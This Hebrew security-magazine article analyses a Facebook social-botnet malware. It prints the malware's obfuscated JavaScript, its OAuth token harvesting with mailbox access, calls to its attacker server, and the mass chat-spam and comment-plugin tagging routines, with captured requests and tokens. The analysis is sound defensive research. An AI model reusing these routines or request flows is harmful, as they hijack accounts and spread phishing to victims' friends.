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על ידי חקירה של ההרשאות שניתנו בצורה יותר יסודית, ניתן יהיה לראות הרשאות אשר אינסטגרם לא 

 :״Messaging״ מבקשה באופן שוטף, כגון

$["ajax"]({ 

     url: 'https://www.facebook.com/v2.0/dialog/oauth/read?dpr=1', 

     type: 'POST', 

     async: true, 

     makedata: v1, 

     data: { 

       "fb_dtsg": fb["user_dtsg"], 

        "app_id": "124024574287414", 

        "redirect_uri": "fbconnect://success", 

        "display": "popup", 

        "access_token": "", 

        ... 

        "seen_scopes": "read_mailbox,public_profile,baseline", 

        ... 

 
 שליחת הבקשה שנראתה ברקע:

POST https://www.facebook.com/v2.0/dialog/oauth/read?dpr=1 HTTP/1.1 

Host: www.facebook.com 

Content-Length: 538 

Cookie: datr=Oy95Vw4w10gpT8 

 

fb_dtsg=AQHn-

bxImsMm%3AAQGoPMxd9qQJ&app_id=124024574287414&redirect_uri=fbconnect%3A%2F%2Fsuc

cess&display=popup&access_token=&sdk=&from_post=1&public_info_nux=1&private=&tos

=&read=read_mailbox%2Cpublic_profile%2Cbaseline&write=&readwrite=&extended=&soci

al_confirm=&confirm=&seen_scopes=read_mailbox%2Cpublic_profile%2Cbaseline&auth_t

ype=&auth_token=&auth_nonce=&default_audience=&ref=Default&return_format=access_

token&domain=&sso_device=&sheet_name=initial&__CONFIRM__=1&__user=10001256002541

1&__a=1&__dyn=&__req=1&ttstamp=&__rev=2425895 

 טוקן הכניסה שהתקבל בהתאמה:

HTTP/1.1 200 OK 

... 

Content-Length: 567 

 

for 

(;;);{"__ar":1,"payload":null,"jsmods":{"require":[["ServerRedirect","redirectPa

geTo",[],["fbconnect:\/\/success#access_token=EAABwzLixnjYBAKqbt7k0WRjvR4RlWOVu7

UZCrW1FqswMZBlgvZBfuAmNjAb8yJMGl4yZCjjFc4Lv8gAf25RcGFZAt47xM9ZBObZCVzFzMOqJvbCCM

HiQVdTux8rCuQIP7jVSE2NVZBnqZCZCUKDH9YTAQMhmDuaPZAuxJx7Ruzoel1izUFBuPQDLvJL&expir

es_in=5353",true],[]]]},"js":["q0abx"],"bootloadable":{},"resource_map":{"q0abx"

:{"type":"js","src":"https:\/\/fbstatic-a.akamaihd.net\/rsrc.php\/v2i-F-

4\/yi\/l\/en_US\/mFmrEHotYoA.js","crossOrigin":1}},"ixData":{},"lid":"6303121548

162546088"} 
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 כשל-מנגנון אל

מי שיצר את הקוד הזה לא התפשר על פגיעות אחת, אלא יצר מספר נקודות רב ככל האפשר בהן יכול 

המשתמש התמים ליפול קורבן. אך, המנגנונים לא בהכרח עובדים במקביל. מנגנון זה למשל יפעל רק 

ודעות בצ׳ט במידה והניסיון לתייג את הקורבן ללינק חיצוני נכשל. במצב זה תתבצע אוטומציה על פרסום ה

 TinyURLשל פייסבוק ובו ישלח הסקריפט, בשם הקורבן, הודעה אחת לכל חבר פייסבוק המכילה לינק 

 ..לגוגל דרייב של הקורבן והתמונה כבר בטח מתחברת לכם בראש.

של הקורבן המכיל תמונת רקע, טקסט ותמונות של החברים  timeline-יעלה התוקף פוסט ל לכך,בנוסף 

. את תמונת הרקע הוא מייצר בזמן ריצה מתמונת הפרופיל של FQLאותם הוא מייבא באמצעות שאילתת 

 ( ומיובא משרת התקיפה.navigatorהמשתמש עם טקסט שנבחר ע״י שפת הדפדפן )שימוש באובייקט 

של פייסבוק, אך פרסום בפייסבוק מכיל מספר שלבים. שלב  API-אני לא יודע כמה מכם מכירים את ה

ההכנה, המכיל בתוכו מספר תהליכוני הכנה, ושלב הפרסום בהתאמה. על מנת לחקות את ההתנהגות 

 הזו, על התוקף לשלוט בתהליך הזה ברמה גבוהה.

 :לטובת הפשטות של המאמר, חילקנו את התהליך לשני נדבכים עיקריים

 stPreparing the po 

 Posting it on Facebook 

בלוק הקוד הראשון שולח בקשה לשרת התקיפה על מנת לקמפל הודעת טקסט אשר תוטמע בתוך 

התמונה. הפונט יבחר באופן רנדומלי מתוך סט פונטים שהוטמעו בסקריפט. על מנת לייבא את הטקסט, 

המזהה הפייסבוקי של  על הסקריפט להשיג מספר פרטים בסיסיים על הקורבן, לכן הבקשה תכיל את

 :אותו קורבן

GET https://corneliuspettus.com/g2.php?i=1&id=100012560025411 HTTP/1.1 

Host: corneliuspettus.com 

 :תגובה יקבל הסקריפט מספר מחרוזות שכאמור, יוטבעו בתמונהב

HTTP/1.1 200 OK 

... 

Server: cloudflare-nginx 

CF-RAY: 2bcb615465603524-LHR 

Content-Length: 1411 

 

{"la": ["Top visitors to", "Look at yours now", "visits"], "st": 0,"html": 

"https://www.googledrive.com/host/0B1QnPWBq7G22RmdpVFViOFR5M0E", "time": 

"1467499607", "sv": "1467545442", "ch": 30, "dev": ["1"], "appid": "", "v": 

"WyJqZmlwaWZva2NuaGFjbG5vZ29wZmRqZW5qam1qaWhmcCJd", "appid2": "", "e": 8, "p": 

"SUw=", "b": "0", "se": "", "o": 

["https://www.googledrive.com/host/0B1QnPWBq7G22SXotc1ZBcFJheWM","https://www.go

ogledrive.com/host/0B1QnPWBq7G22c19jYXg3bVdZTVk","https://www.googledrive.com/ho

st/0B1QnPWBq7G22c2IxWnF2QlhyM28","https://www.googledrive.com/host/0B1QnPWBq7G22

Z3RLS2JWdEU0aWs","https://www.googledrive.com/host/0B1QnPWBq7G22WnhmOEd1WXpzX0k"

]} 
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 והנה המחשה של הפוסט:

 

 ן[של הקורב Timeline-]דוגמא לפוסט פישינג ב

 

 אם לא נוטיפיקציה, נספים את הצ׳אט

כשל מייצר קריאה לצ׳אט של פייסבוק המאפשר לתוקף להספים אתת כלל החברים של -מנגנון האל

 :Message batchהקורבן. כל הפעולה הזו נוצרת בצד הלקוח באמצעות ג׳ינרוט של 

sendMessage: function(U, C, t, K, z) { 

    var k = "ur", 

    N = 960, 

    B = "link", 

    p = function() { 

      U = U + U2e.d8O + globalFunction["chain"](U2e.x8O); 

    }; 

    p(); 

    U = gF["Drive"][B](U);  

 

$["ajax"]({ 

  url: 'https://www.facebook.com/message_share_attachment/fromURI/?dpr=1', 

  type: 'POST', 

  async: true, 

  data: W, 

  importData: importData, 

  complete: function(b) { 

    var X = "slice", 

    n = "getMinutes", 
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    I = "getHours", 

    f = "banword", 

    F = "finalWord", 

    O = "visits", 

    G = "tagged", 

    V = "importData"; 

  this[V]["name"] = gF["returnName"](this[V][G]); 

  this[V][O] = globalFunction["random"](100, 9999); 

  this[V][F] = globalFunction[f](fbData["lang"][2]); 

  var c = { 

    "message_batch[0][action_type]": "ma-type:user-generated-message", 

    "message_batch[0][thread_id]": "", 

    "message_batch[0][author]": "fbid:" + fb["user_id"], 

    "message_batch[0][author_email]": "", 

    "message_batch[0][timestamp]": Date["now"](), 

    "message_batch[0][timestamp_absolute]": "Hoy", 

    ... 

 לאחר מכן מתבצעת השליחה:

mChat: function(V, c, U) { 

    var C = "z", 

    t = "message", 

    K = ',,,,?,?,?', 

    z = "T0U", 

    k = "N0U", 

    N = "R0U", 

    B = "isgd", 

    p = "z0U", 

    W = "C0U", 

    H = "mc2", 

     

for (uuuu = 0; U2e[N](uuuu, shareArr.length); uuuu++) { 

    var j = function() { 

      var e = "/&"; 

      send = send + e + gF["chain"](gF["random"](U2e.j8O, 

U2e.v4O))["toLowerCase"](); 

      }, 

      ... 

    } 

    j(); 

    console["log"](send); 

    mData = { 

      "charset_test": K, 

      "tids": U2e.Z5O, 

      "wwwupp": U2e.X4O, 

      "body": send, 

      "waterfall_source": t, 

      "m_sess": U2e.Z5O, 

      "fb_dtsg": fb["user_dtsg"], 

      "__dyn": U2e.Z5O, 

      "__req": C, 

      "__ajax__": U2e.Z5O, 

      "__user": fb["user_id"], 

    }; 

    J(shareArr); 

    $["ajax"]({ 

      url: 'https://m.facebook.com/messages/send/?icm=1&refid=12', 

      type: 'POST', 

      async: true, 

      data: mData, 

      complete: function() { 
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      cookies.save(fb["user_id"] + "_sc" + fb["cache"], 1, 1); 

      } 

    }); 

    } 

 

 ומוטמע האובייקט של הנוצר  אדוםב-TinyURL .לינק 

 מחרוזת רנדומלית של תווים מוצמדים לסוף ה סגולב-TinyURL 

 משתני הבקשה כחולב 

 הבקשה המכילה את המידע הנדרש על מנת לייצר הודעה.  חוםב 

 הבקשה מתבצעת דרך ממשק המובייל של פייסבוק. אגב, 

ובלופ בגודל הרשימה ישלח את הבקשה לכל  לאחר מכן ייבא הסקריפט את הרשימה המלאה של החברים

 :משתמש

 

 " ויכלול את הקישור המפגע.sent from Mobileיצורף להודעת " TinyURL-קישור ל
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 מוציאים את המוץ מהתבן

אחרי שהצלחנו לדחוף את המשימה הזו הלו״ז הכל כך עמוס  - המטרה לשמה התכנסנו מגיעה סוף סוף

ובכמה לילות ללא שינה הצלחנו למצוא את החלק שעליו הגן התוקף הכי הרבה. לא, לא נמצאו  שלנו 

שם דרכי הגנות חדשניות, אבל החלק הזה אכן נמצא בליבה של הקוד, והוא לא הכי פשוט להבנה. 

המורכבות מתחילה בעובדה שזה לא תהליך שמוכל בלוגיקה של פייסבוק. אזי, יש ״לפרק״ הכל ולא 

 ך על רמזים.להסתמ

של יוזר היא באמצעות תגובה, או יותר  mention-כפי שטענו בהתחלה, הדרך היחידה לייצר נוטיפיקציה ל

באמצעות אובייקט שנמצא ״פיזית״ בתוך הממשק של פייסבוק. תיוג חיצוני לא היה קיים עד  -מדויק 

 ההתקפה הזו, וגם בפייסבוק הופתעו לנוכח הממצא. 

 של הפגיעות: flow-בואו נראה את ה

לפייסבוק קיים אובייקט אשר ניתן למקם אותו באפליקציית צד שלישי, ובאמצעותו להזדהות בצורה 

ייחודית עם הפרטים המזהים של חשבון הפייסבוק שלנו. לצורך העניין, אם פתחתי בלוג חדש ואני רוצה 

של פלאגין. הפלאגין הספציפי  שיעשו לי לייקים של פייסבוק, או שיתופים לפוסטים, אני אטמיע סוג כזה

 :שאנחנו חקרנו הוא פלאגין שמקנה אופציה להשאיר תגובה

 

ע״י מינוף של הפלאגין הזה, אנחנו יכולים ליצור נוטיפיקציה שתשלח את המשתמש המטורגט אל מחוץ 

 לדף התגובות שלנו. -לפייסבוק 
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יקבלו נוטיפיקציה לאותו אתר חיצוני על למשל, אם שני חברים הגיבו על אותו פוסט באתר חיצוני, הם 

 :מנת לצפות בפוסט

 

של  URLבטסט שעשינו, שני הפרופלים, אשר חברים בפייסבוק, הגיבו בפלאגין החיצוני, אשר יצרנו עם 

 :dropbox.com-דקופבוקס. כפי שניתן לראות למעלה, הנוטיפקציה לוקחת את המשתמש ל

https://www.facebook.com/l.php?u=https%3A%2F%2Fwww.dropbox.com%2Fs%2Fktmaf1xbkn4

1uod%2FTargetFile%3Fdl%3D0&h=lAQE0gSdj&s=1&enc=AZPo6OZ9YEsDrVJJhDdm-

V038t39jqPVCOwbS_dg18yIzvcYl0oxtsWjLxY4xxlwPespqMFhkyZm0J-

fL22LX9x3Wp7GwmbfA59kP_qMkWW1EA 

את הלינק לטובת מיקומו של הפלאגין. )אמור בעיקרון להיות שם של  שלב זה בהתקפה בעצם מאתחל

 :דף/כתבה/מאמר למשל ולא נתיב להורדת קובץ(

https://www.facebook.com/plugins/feedback.php?api_key=113869198637480&href=https

%3A%2F%2Fdrive.google.com%2Fopen%3Fid%3D0B9oildoVHiNxVE10X2pXM3lLOUU 

 הבא יהיה ליצור תגובה בפלאגין עצמו:השלב 

url: "https://www.facebook.com/plugins/comments/async/createComment/" + 

this["commentData"][K] + "/?dpr=2", 

type: "POST", 

async: true, 

headers: { 

   "content-type": "application/x-www-form-urlencoded" 

}, 

commentData: this.commentData, 

data: { 

   app_id: 113869198637480, 

   av: fb["user_id"], 

   text: gF["chain"](20)["toLowerCase"](), 



 
 

 בפאזל החסר החלק - החברתי הבוטנט

www.DigitalWhisper.co.il 

 20  2016 אוגוסט, 74גליון 

 
 
 
 
 

   attached_photo_fbid: 0, 

   attached_sticker_fbid: 0, 

   post_to_feed: "false", 

   __user: fb["user_id"], 

   __a: 1, 

   __dyn: "5UjKUlzu0wEdoyGzEy4--

C11wnooyUnwgUbErxW5Ex3ocUqz8Kaxe3KezU4i3K5Uy5ob8qx248sw", 

   __req: 4, 

   __pc: "EXP1:DEFAULT", 

   fb_dtsg: fb["user_dtsg"], 

   ttstamp: fb["tts"], 

   __rev: fb["rev"], 

   __sp: 1 

} 

 

POST 

https://www.facebook.com/plugins/comments/async/createComment/400539608410/?dpr=

1 HTTP/1.1 

Host: www.facebook.com 

Connection: keep-alive 

Origin: https://www.facebook.com 

Content-Type: application/x-www-form-urlencoded 

Accept: */* 

Referer: 

https://www.facebook.com/plugins/feedback.php?api_key=113869198637480&href=http:

//walla.co.il 

app_id=113869198637480&av=100012560025411&text=hola%20amigos&attached_photo_fbid

=0&attached_sticker_fbid=0&post_to_feed=true&__user=100012560025411&__a=1&__dyn=

5UjKUiGdU4e3W3m8GEW8xdLFwgo5S68K5U4e2W6Uuxq8gS3e6EObyEjwXzE-

14wXwwxm17x248swpUO6Egx6&__req=3&__be=-

1&__pc=PHASED%3ADEFAULT&fb_dtsg=AQGkQTnhoYpF%3AAQHZ1uwE80VH&ttstamp=265817110781

8411010411189112705865817290491171196956488672&__rev=2438780&__sp=1 

 

. https://www.facebook.com/plugins/comments-בה פורסמה, בקשה נוספת תתבצע ללאחר שהתגו

 של הפוסט בפלאגין: properties-הקשה מחזירה את ה

this.commentData["share_id"] = globalFunction["between"]('"commentIDs":["', '"', 

f["responseText"])["split"]("_")[1]; // 400539608410_10153962897128411 

ונתחיל לאסוף מידע על מנת לייצר  internal Facebook API-, אנו נחזור לshare_id-ברגע שמתקבל ה

 תגובה פיקטיבית שתשמש קונטיינר להתקפה שלנו:

post_params = { 

"ft_ent_identifier": this["commentData"]["share_id"], 

"comment_text": gF["chain"](10)["toLowerCase"](), 

"source": 21, 

"client_id": Date["now"]() + ":" + Math["floor"](U2e[F](Date["now"](), 1000)), 

"session_id": globalFunction["chain"](8)["toLowerCase"](), 

"comment_text": "Array of tagged friends" 

} 

url: "https://www.facebook.com/ufi/add/comment/?dpr=1", 

type: "POST", 

async: true, 

headers: { 

   "content-type": "application/x-www-form-urlencoded" 

https://www.facebook.com/plugins/comments
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} 

של התגובה בפלאגין וזו מוזרקת לתוך  share_id-ניתן לראות בקוד המודגש שאכן מתבצע שימוש ב

התגובה הרגילה שנוצרת בפייסבוק. זה הדבר שגורם לפייסבוק לנתב את הלחיצה על הנוטיפיציה לגוגל 

 למעלה(. infection loop-מחדש )כפי שצוין ב stage 1דרייב של אותו קורבן והורדה של 

 .null-ל comment_text-השלב האחרון שהתבצע הוא עריכת הבקשה בצורת איתחול ה

מעבר לכך, הסקריפט . ניסיון לשחזר את ההתקפה לא צלח, שכן פייסבוק אכן חסמו את אותו ה״פיצ׳ר״

 משתמש בדיבאג של פייסבוק על מנת לוודא כל פעולה.

if (A["responseText"]["indexOf"]("errorSummary") > -1) { 

   chrome["runtime"]["sendMessage"]({ 

       method: 'GET', 

       action: 'xhttp', 

       url: "https://corneliuspettus.com/g2.php?comment=" + fb["todel"] 

   }, function(e) {}); 

   commentsT; 

} 

רדום. -מכיוון שפייסבוק חסמו את ההתקפה, מחשבי קורבנון שילחצו על לינק אקטיבי יודבקו בטרויאן חצי

 5Kאין לו את סט ההתקפות המלאות, אך הוא כן מסוגל לשלוח הודעות צ׳אט למשל. מבחינת גודל הוא 

 מקורי. 80KBלעומת 

"errorSummary":"Message Failed" 

 

"errorDescription":"\u003Cul class=\"uiList _4kg _6-h _6-j _6-

i\">\u003Cli>This message contains content that has been blocked by our 

security systems.\u003C\/li>\u003Cli>If you think you&#039;re seeing 

this by mistake, please \u003Ca 

href=\"\/help\/contact\/571927962827151?" 

 

 לסיכום

אם נסכם את הדברים, הכלי הזה מאתגר מאוד ויכול להכיל הרבה מעבר לקוד שחקרנו. אנחנו חושדים 

ככלי פישינג רובסטי  נמכראשר   ״רשתות אפלות״בואחרים ו הבפורומים כאללכלי זה  Builderשקיים 

 ומטריד לכל דבר. 

 .דניתשאלו את  -, ואם יש שאלות, כמובן מהקריאה מקווה שנהנתם


